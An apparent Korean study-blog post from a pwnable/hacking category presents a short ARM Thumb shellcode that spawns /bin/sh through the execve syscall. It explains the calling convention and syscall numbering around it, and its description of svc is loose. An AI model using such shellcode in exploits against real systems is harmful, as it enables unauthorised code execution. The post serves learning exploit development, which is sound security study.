-
ARM Shellcode 간단한거..Hack/Pwnable 2016. 6. 29. 20:03
.section .text
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
mov r0, pc
add r0, #10
str r0, [sp, #4]
add r1, sp, #4
sub r2, r2, r2
mov r7, #11
svc 1
.ascii "/bin/sh"
쉘코드를 만들때 이러한 어셈을 작성해서 만드는데, 그냥 간단하게 몇개 써보려해요
일단 arm에서의 calling convention부터 알아야하는데, 모든함수의 첫번쨰인자는 r0부터시작하며, 두번째인자는 r1, 세번째는 r2이렇게하여 r3까지 담기게되요
만약 어떤 함수중에 인자가 5개이상이면 어디에 넣지? 하는데 스택에다 넣어주게되요! 이제 이걸 알고난후에 다시 저 어셈을 보세요 뭔가 감이오지않나용 전 알아챘습니닷
여기서 r7은 뭐하는거냐, 11이란 값을 넣는데 이게뭐냐 하시는분은 아래 링크를 참고해주세요~~
http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
저건 syscall 넘버가 들어가는데, 11은 execve를 나타내기때문에 보시면 r0에 /bin/sh위치가 들어가게되고 r1도 들어가게되죠 그럼 아래와같은 명령이 실행되겠죠
execve("/bin/sh","/bin/sh",0) 이런값~? r2는 r2 - r2니까 당연히 0이겠죠!
svc는 슈퍼바이저 모드를 셋팅해주는데, 비트검사기라고 보면될거같아요
'Hack > Pwnable' 카테고리의 다른 글
Off-by-one (0) 2016.08.11 const overwrite, 버그헌팅하면서 배운점 (3) 2016.07.19 Pwnable.kr dos4fun (0) 2016.05.09 16bit Debugging/ 16bit Dynamic Debugging (0) 2016.05.09 Static Link (0) 2016.03.07